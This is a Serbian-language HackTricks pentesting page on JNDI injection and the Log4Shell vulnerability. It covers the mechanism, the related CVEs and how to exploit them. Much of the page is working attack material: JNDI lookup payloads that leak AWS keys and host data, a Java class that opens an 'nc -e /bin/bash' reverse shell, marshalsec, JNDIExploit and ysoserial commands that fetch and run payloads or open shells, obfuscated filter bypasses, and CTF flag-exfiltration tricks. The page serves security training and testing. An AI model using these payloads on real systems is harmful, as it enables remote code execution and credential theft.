hacktricks/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md

32 KiB
Raw Blame History

JNDI - Java Naming and Directory Interface & Log4Shell

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}


Osnovne informacije

JNDI, integrisan u Javu od kraja 1990-ih, služi kao direktorijumski servis, omogućavajući Java programima da pronađu podatke ili objekte putem sistema imenovanja. Podržava različite direktorijumske servise putem provajdera usluga (SPI), omogućavajući povlačenje podataka sa različitih sistema, uključujući udaljene Java objekte. Uobičajeni SPI-ovi uključuju CORBA COS, Java RMI Registar i LDAP.

JNDI Imenovanje Reference

Java objekti mogu biti smešteni i povučeni korišćenjem JNDI Imenovanih Referenci, koje dolaze u dva oblika:

  • Reference Adrese: Specificira lokaciju objekta (npr. rmi://server/ref), omogućavajući direktno povlačenje sa određene adrese.
  • Udaljeni Fabrika: Referenca na udaljenu fabričku klasu. Kada se pristupi, klasa se preuzima i instancira sa udaljene lokacije.

Međutim, ovaj mehanizam može biti iskorišćen, potencijalno dovodeći do učitavanja i izvršavanja proizvoljnog koda. Kao mera zaštite:

  • RMI: java.rmi.server.useCodeabseOnly = true po podrazumevanim vrednostima od JDK 7u21, ograničavajući udaljeno učitavanje objekata. Bezbednosni menadžer dodatno ograničava šta može biti učitano.
  • LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false po podrazumevanim vrednostima od JDK 6u141, 7u131, 8u121, blokira izvršavanje udaljeno učitanih Java objekata. Ako je postavljeno na true, izvršavanje udaljenog koda je moguće bez nadzora Bezbednosnog menadžera.
  • CORBA: Nema specifično svojstvo, ali Bezbednosni menadžer je uvek aktivan.

Međutim, Menadžer Imenovanja, odgovoran za rešavanje JNDI veza, nema ugrađene mehanizme bezbednosti, što potencijalno omogućava povlačenje objekata sa bilo kog izvora. Ovo predstavlja rizik jer se zaštite RMI, LDAP i CORBA mogu zaobići, što dovodi do učitavanja proizvoljnih Java objekata ili iskorišćavanja postojećih komponenti aplikacije (gadžeta) za pokretanje zlonamernog koda.

Primeri eksploatabilnih URL-ova uključuju:

  • rmi://napadac-server/bar
  • ldap://napadac-server/bar
  • iiop://napadac-server/bar

I pored zaštita, ranjivosti ostaju, uglavnom zbog nedostatka zaštite od učitavanja JNDI sa nepoverenih izvora i mogućnosti zaobilaženja postojećih zaštita.

Primer JNDI

Čak i ako ste postavili PROVIDER_URL, možete naznačiti drugi u pretrazi i biće pristupljen: ctx.lookup("<kontrolisani-url-napadača>") i to je ono što će napadač iskoristiti da učita proizvoljne objekte sa sistema koji kontroliše.

Pregled CORBA

CORBA (Common Object Request Broker Architecture) koristi Interoperabilnu Referencu Objekta (IOR) da jedinstveno identifikuje udaljene objekte. Ova referenca uključuje osnovne informacije kao što su:

  • ID Tipa: Jedinstveni identifikator za interfejs.
  • Codebase: URL za dobijanje stub klase.

Važno je napomenuti da CORBA nije inherentno ranjiv. Osiguravanje bezbednosti obično uključuje:

  • Instalacija Bezbednosnog Menadžera.
  • Konfigurisanje Bezbednosnog Menadžera da dozvoli konekcije ka potencijalno zlonamernim codebase-ovima. Ovo se može postići kroz:
  • Dozvole za sokete, npr. permissions java.net.SocketPermission "*:1098-1099", "connect";.
  • Dozvole za čitanje fajlova, ili univerzalno (permission java.io.FilePermission "<<ALL FILES>>", "read";) ili za specifične direktorijume gde bi zlonamerni fajlovi mogli biti smešteni.

Međutim, neka pravila prodavaca mogu biti popustljiva i dozvoliti ove konekcije po podrazumevanim vrednostima.

RMI Kontekst

Za RMI (Udaljeni Metod Pozivanja), situacija je donekle drugačija. Kao i kod CORBA-e, preuzimanje proizvoljnih klasa je podrazumevano ograničeno. Da bi iskoristio RMI, obično bi trebalo zaobići Bezbednosnog Menadžera, što je takođe relevantno i kod CORBA-e.

LDAP

Prvo, moramo razlikovati između Pretrage i Pogleda.
Pretraga će koristiti URL poput ldap://localhost:389/o=JNDITutorial da pronađe JNDITutorial objekat sa LDAP servera i dobije njegove atribute.
Pogled je namenjen imenovanim servisima jer želimo da dobijemo šta god je vezano za ime.

Ako je LDAP pretraga pozvana sa SearchControls.setReturningObjFlag() sa true, onda će vraćeni objekat biti rekonstruisan.

Stoga, postoji nekoliko načina za napad na ove opcije.
Napadač može otrovati LDAP zapise unoseći payload-ove na njih koji će biti izvršeni u sistemima koji ih prikupljaju (veoma korisno za kompromitovanje desetina mašina ako imate pristup LDAP serveru). Još jedan način za iskorišćavanje ovoga bi bilo izvođenje MitM napada u LDAP pretrazi na primer.

U slučaju da možete naterati aplikaciju da reši JNDI LDAP URL, možete kontrolisati LDAP koji će biti pretražen, i mogli biste poslati eksploit nazad (log4shell).

Eksploatacija Deserijalizacije

Eksploit je serializovan i biće deserijalizovan.
U slučaju da je trustURLCodebase true, napadač može obezbediti svoje klase u codebase-u, ako nije, moraće iskoristiti gedžete u putanji klasa.

Eksploatacija JNDI Reference

Lakše je napasti ovaj LDAP koristeći JavaFactory reference:

Log4Shell Ranjivost

Ranjivost je uvedena u Log4j jer podržava specijalnu sintaksu u obliku ${prefix:name} gde je prefix jedan od različitih Lookups gde bi name trebalo da bude evaluiran. Na primer, ${java:version} je trenutna pokrenuta verzija Jave.

LOG4J2-313 je uveo funkciju jndi Lookup. Ova funkcija omogućava dobijanje promenljivih putem JNDI-ja. Tipično, ključ je automatski prefiksovan sa java:comp/env/. Međutim, ako sam ključ sadrži ":", ovaj podrazumevani prefiks se ne primenjuje.

Sa : prisutnim u ključu, kao u ${jndi:ldap://primer.com/a} nema prefiksa i LDAP server je upitan za objekat. I ovi Lookups mogu se koristiti kako u konfiguraciji Log4j tako i prilikom logovanja linija.

Stoga, jedino što je potrebno za dobijanje RCE je ranjiva verzija Log4j koja obrađuje informacije koje kontroliše korisnik. I pošto je ovo biblioteka široko korišćena od strane Java aplikacija za logovanje informacija (uključujući i aplikacije na internetu), bilo je veoma uobičajeno imati log4j logovanje na primer HTTP zaglavlja primljena kao User-Agent. Međutim, log4j nije korišćen samo za logovanje HTTP informacija već bilo kog unosa i podataka koje je programer naznačio.

Pregled CVE-ova povezanih sa Log4Shell-om

CVE-2021-44228 [Kritično]

Ova ranjivost je kritična nesigurna deserializacijska greška u komponenti log4j-core, koja utiče na verzije od 2.0-beta9 do 2.14.1. Omogućava izvršenje udaljenog koda (RCE), omogućavajući napadačima preuzimanje sistema. Problem je prijavio Chen Zhaojun iz Alibaba Cloud Security Team i utiče na različite Apache okvire. Početni popravak u verziji 2.15.0 bio je nepotpun. Sigma pravila za odbranu su dostupna (Pravilo 1, Pravilo 2).

CVE-2021-45046 [Kritično]

Inicialno ocenjena kao niska, ali kasnije unapređena na kritičnu, ova CVE je DoS greška proizašla iz nepotpunog popravka u verziji 2.15.0 za CVE-2021-44228. Utiče na nezadane konfiguracije, omogućavajući napadačima da izazovu DoS napade putem prilagođenih payloada. Jedan tvit prikazuje metodu zaobilaženja. Problem je rešen u verzijama 2.16.0 i 2.12.2 uklanjanjem šablona pretrage poruka i onemogućavanjem JNDI po zadanom.

CVE-2021-4104 [Visoko]

Uticaj na Log4j 1.x verzije u nezadanim konfiguracijama koje koriste JMSAppender, ova CVE je nesigurna deserializacijska greška. Nema dostupnog popravka za granu 1.x, koja je dostigla kraj životnog ciklusa, i preporučuje se nadogradnja na log4j-core 2.17.0.

CVE-2021-42550 [Umereno]

Ova ranjivost utiče na Logback logging framework, naslednika Log4j 1.x. Ranije smatran sigurnim, okvir je pronađen ranjivim, i novije verzije (1.3.0-alpha11 i 1.2.9) su objavljene radi rešavanja problema.

CVE-2021-45105 [Visoko]

Log4j 2.16.0 sadrži DoS grešku, što je dovelo do izdavanja log4j 2.17.0 za rešavanje CVE-a. Više detalja možete pronaći u BleepingComputer-ovom izveštaju.

CVE-2021-44832

Uticaj na log4j verziju 2.17, ova CVE zahteva da napadač kontroliše konfiguracioni fajl log4j-a. Uključuje potencijalno izvršenje proizvoljnog koda putem konfigurisanog JDBCAppender-a. Više detalja dostupno je u Checkmarx blog postu.

Eksploatacija Log4Shell-a

Otkriće

Ova ranjivost je veoma lako otkriti ako nije zaštićena jer će poslati barem DNS zahtev na adresu koju naznačite u vašem payload-u. Stoga, payloadi poput:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (koristeći canarytokens.com)
  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (koristeći interactsh)
  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (koristeći Burp Suite)
  • ${jndi:ldap://2j4ayo.dnslog.cn} (koristeći dnslog)
  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} (koristeći huntress)

Imajte na umu da čak i ako se primi DNS zahtev, to ne znači da je aplikacija iskorišćiva (ili čak ranjiva), moraćete pokušati da je iskoristite.

{% hint style="info" %} Zapamtite da za eksploataciju verzije 2.15 morate dodati bajpas provere lokalnog računara: ${jndi:ldap://127.0.0.1#...} {% endhint %}

Lokalno otkriće

Pretražite lokalne ranjive verzije biblioteke sa:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Verifikacija

Neke od platformi navedenih ranije će vam omogućiti da unesete neke promenljive podatke koji će biti zabeleženi kada se zatraže.
Ovo može biti veoma korisno za 2 stvari:

  • Da verifikujete ranjivost
  • Da eksfiltrirate informacije zloupotrebom ranjivosti

Na primer, možete zatražiti nešto kao:
ili kao ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} i ako se DNS zahtev primi sa vrednošću env promenljive, znate da je aplikacija ranjiva.

Druge informacije koje biste mogli pokušati da procurite:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

RCE Informacije

{% hint style="info" %} Sistemi koji koriste JDK verzije iznad 6u141, 7u131 ili 8u121 su zaštićeni od LDAP napada putem učitavanja klasa. Ovo je zbog podrazumevanog deaktiviranja com.sun.jndi.ldap.object.trustURLCodebase, što sprečava JNDI da učita udaljeni codebase putem LDAP-a. Međutim, važno je napomenuti da ove verzije nisu zaštićene od napada putem deserializacije.

Za napadače koji ciljaju da iskoriste ove više verzije JDK-a, neophodno je iskoristiti povereni uređaj (gadget) unutar Java aplikacije. Alati poput ysoserial ili JNDIExploit često se koriste u tu svrhu. Nasuprot tome, iskorišćavanje nižih verzija JDK-a je relativno lakše jer se ove verzije mogu manipulisati da učitaju i izvrše proizvoljne klase.

Za više informacija (kao što su ograničenja na RMI i CORBA vektorima) proverite prethodni odeljak o JNDI Naming Reference ili https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ {% endhint %}

RCE - Marshalsec sa prilagođenim opterećenjem

Možete testirati ovo na THM box-u: https://tryhackme.com/room/solar

Koristite alat marshalsec (jar verzija dostupna ovde). Ovaj pristup uspostavlja LDAP referal server za preusmeravanje veza ka sekundarnom HTTP serveru gde će biti smešten eksploatacioni kod:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

Da biste naveli cilj da učita kod obrnutog školjka, kreirajte Java datoteku nazvanu Exploit.java sa sadržajem ispod:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Kompajlujte Java fajl u klasni fajl koristeći: javac Exploit.java -source 8 -target 8. Zatim pokrenite HTTP server u direktorijumu koji sadrži klasni fajl koristeći: python3 -m http.server. Proverite da marshalsec LDAP server referiše na ovaj HTTP server.

Pokrenite izvršenje klase exploit na podložnom veb serveru slanjem payloada koji liči na:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Napomena: Ovaj exploit se oslanja na konfiguraciju Java-e koja omogućava učitavanje udaljenog koda putem LDAP-a. Ako ovo nije dozvoljeno, razmotrite iskorišćavanje pouzdane klase za izvršavanje proizvoljnog koda.

RCE - JNDIExploit

{% hint style="info" %} Imajte na umu da je autor iz nekog razloga uklonio ovaj projekat sa github-a nakon otkrića log4shell-a. Možete pronaći keširanu verziju na https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 ali ako želite da poštujete odluku autora, koristite drugi metod za iskorišćavanje ove ranjivosti.

Takođe, ne možete pronaći izvorni kod na wayback machine-u, pa ili analizirajte izvorni kod ili izvršite jar znajući da ne znate šta izvršavate. {% endhint %}

Za ovaj primer možete pokrenuti ovaj ranjivi web server za log4shell na portu 8080: https://github.com/christophetd/log4shell-vulnerable-app (u README datoteci ćete pronaći kako da ga pokrenete). Ova ranjiva aplikacija beleži sadržaj zaglavlja HTTP zahteva X-Api-Version pomoću ranjive verzije log4shell-a.

Zatim, možete preuzeti JNDIExploit jar datoteku i izvršiti je pomoću:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

Nakon što pročitate kod samo nekoliko minuta, u com.feihong.ldap.LdapServer i com.feihong.ldap.HTTPServer možete videti kako su LDAP i HTTP serveri kreirani. LDAP server će razumeti koji payload treba poslužiti i preusmeriti žrtvu na HTTP server, koji će poslužiti eksploataciju.
U com.feihong.ldap.gadgets možete pronaći neke specifične gedžete koji se mogu koristiti za izvršavanje željene radnje (potencijalno izvršiti proizvoljni kod). A u com.feihong.ldap.template možete videti različite klase predložaka koje će generisati eksploate.

Možete videti sve dostupne eksploate sa java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Neke korisne su:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

Dakle, u našem primeru, već imamo pokrenutu tu ranjivu docker aplikaciju. Da bismo je napali:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

Kada šaljete napade, videćete neki izlaz u terminalu gde ste izvršili JNDIExploit-1.2-SNAPSHOT.jar.

Zapamtite da proverite java -jar JNDIExploit-1.2-SNAPSHOT.jar -u za druge opcije eksploatacije. Takođe, u slučaju potrebe, možete promeniti portove LDAP i HTTP servera.

RCE - JNDI-Exploit-Kit

Na sličan način kao i kod prethodnog eksploata, možete pokušati da koristite JNDI-Exploit-Kit da iskoristite ovu ranjivost.
Možete generisati URL-ove koje ćete poslati žrtvi pokretanjem:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

Napad korišćenjem prilagođenog generisanog Java objekta radiće u laboratorijama poput THM solar room. Međutim, ovo obično neće raditi (jer Java podrazumevano nije konfigurisana da učitava udaljene codebase-ove koristeći LDAP) mislim zato što ne zloupotrebljava pouzdanu klasu da izvrši proizvoljni kod.

RCE - JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus je još jedan alat za generisanje upotrebljivih JNDI linkova i pružanje pozadinskih usluga pokretanjem RMI servera, LDAP servera i HTTP servera.\

RCE - ysoserial & JNDI-Exploit-Kit

Ova opcija je zaista korisna za napade na Java verzije konfigurisane da veruju samo određenim klasama, a ne svima. Stoga će ysoserial biti korišćen za generisanje serijalizacija pouzdanih klasa koje mogu biti korišćene kao gedžeti za izvršavanje proizvoljnog koda (pouzdana klasa zloupotrebljena od strane ysoserial-a mora biti korišćena od strane žrtvinog Java programa kako bi eksploatacija funkcionisala).

Korišćenjem ysoserial-a ili ysoserial-modified možete kreirati deserializacijski eksploit koji će biti preuzet od strane JNDI:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

Koristite JNDI-Exploit-Kit da biste generisali JNDI linkove gde će eksploit čekati konekcije sa ranjivih mašina. Možete poslužiti različite eksploite koji se mogu automatski generisati pomoću JNDI-Exploit-Kit-a ili čak vaše sopstvene deserializacijske payload-e (generisane od strane vas ili ysoserial).

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Sada možete lako koristiti generisani JNDI link da iskoristite ranjivost i dobijete obrnutu ljusku jednostavno slanjem na ranjivu verziju log4j: ${ldap://10.10.14.10:1389/generated}

Bypasses

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Automatski skeneri

Laboratorije za testiranje

Nakon eksploatacije Log4Shell-a

U ovom CTF writeup-u dobro je objašnjeno kako je potencijalno moguće zloupotrebiti neke funkcije Log4J-a.

Na stranici sa bezbednošću Log4j-a postoje neke zanimljive rečenice:

Od verzije 2.16.0 (za Java 8), funkcionalnost pretrage poruka je potpuno uklonjena. Pretrage u konfiguraciji i dalje funkcionišu. Pored toga, Log4j sada podrazumevano onemogućava pristup JNDI-ju. Pretrage JNDI-ja u konfiguraciji sada moraju biti eksplicitno omogućene.

Od verzije 2.17.0, (i 2.12.3 i 2.3.1 za Java 7 i Java 6), samo se niske pretrage u konfiguraciji rekurzivno proširuju; u bilo kojoj drugoj upotrebi, samo se rešava pretraga na vrhu, a bilo koje ugnežđene pretrage se ne rešavaju.

To znači da podrazumevano možete zaboraviti na korišćenje bilo kog jndi eksploata. Štaviše, da biste izvršili rekurzivne pretrage, morate ih imati konfigurisane.

Na primer, u tom CTF-u je to bilo konfigurisano u datoteci log4j2.xml:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Env Lookups

U ovom CTF-u napadač je kontrolisao vrednost ${sys:cmd} i trebao je da eksfiltrira zastavu iz promenljive okruženja.
Kao što je prikazano na ovoj stranici u prethodnim payload-ima postoje različiti načini pristupa promenljivim okruženja, kao što su: ${env:FLAG}. U ovom CTF-u to nije bilo korisno, ali možda jeste u drugim stvarnim scenarijima.

Eksfiltracija u izuzecima

U CTF-u, niste mogli pristupiti stderr-u java aplikacije koristeći log4J, ali Log4J izuzeci se šalju na stdout, što je bilo prikazano u python aplikaciji. To znači da je okidačem izuzetka moguće pristupiti sadržaju. Izuzetak za eksfiltraciju zastave bio je: ${java:${env:FLAG}}. Ovo funkcioniše jer ${java:CTF{blahblah}} ne postoji i biće prikazan izuzetak sa vrednošću zastave:

Konverzioni obrasci izuzeci

Samo da pomenemo, takođe ste mogli ubaciti nove konverzione obrasce i okinuti izuzetke koji će biti zabeleženi na stdout. Na primer:

Ovo nije bilo korisno za eksfiltraciju datuma unutar poruke o grešci, jer pre konverzionog obrasca nije rešeno pretraživanje, ali bi moglo biti korisno za druge stvari poput detektovanja.

Konverzioni obrasci Regex

Međutim, moguće je koristiti neke konverzione obrasce koji podržavaju regex za eksfiltraciju informacija iz pretrage korišćenjem regexa i zloupotrebe binarnog pretraživanja ili baziranog na vremenu ponašanja.

  • Binarno pretraživanje putem poruka o greškama

Konverzioni obrazac %replace može se koristiti za zamenu sadržaja iz stringa čak i koristeći regexe. Funkcioniše ovako: replace{pattern}{regex}{substitution}
Zloupotrebom ovog ponašanja mogli biste napraviti zamenu okidačem izuzetka ako se regex poklopio sa bilo čim unutar stringa (i bez izuzetka ako nije pronađeno) na ovaj način:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • Vremenski bazirano

Kao što je pomenuto u prethodnom odeljku, %replace podržava regexe. Dakle, moguće je koristiti payload sa ReDoS stranice kako bi se izazvao timeout u slučaju pronalaska zastave. Na primer, payload poput %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} bi pokrenuo timeout u tom CTF-u.

U ovom writeup-u, umesto korišćenja ReDoS napada, korišćen je napad amplifikacije kako bi se izazvala razlika u vremenu odgovora:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

Ako zastava počinje sa flagGuess, cela zastava će biti zamenjena sa 29 #-ova (koristio sam ovaj karakter jer verovatno neće biti deo zastave). Svaki od rezultirajućih 29 #-ova zatim je zamenjen sa 54 #-a. Ovaj proces se ponavlja 6 puta, što dovodi do ukupno 29*54*54^6* =`` ``96816014208 #-ova!

Zamena toliko #-ova će pokrenuti 10-sekundni timeout Flask aplikacije, što će rezultirati slanjem HTTP status koda 500 korisniku. (Ako zastava ne počinje sa flagGuess, dobićemo status kod koji nije 500)

Reference

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: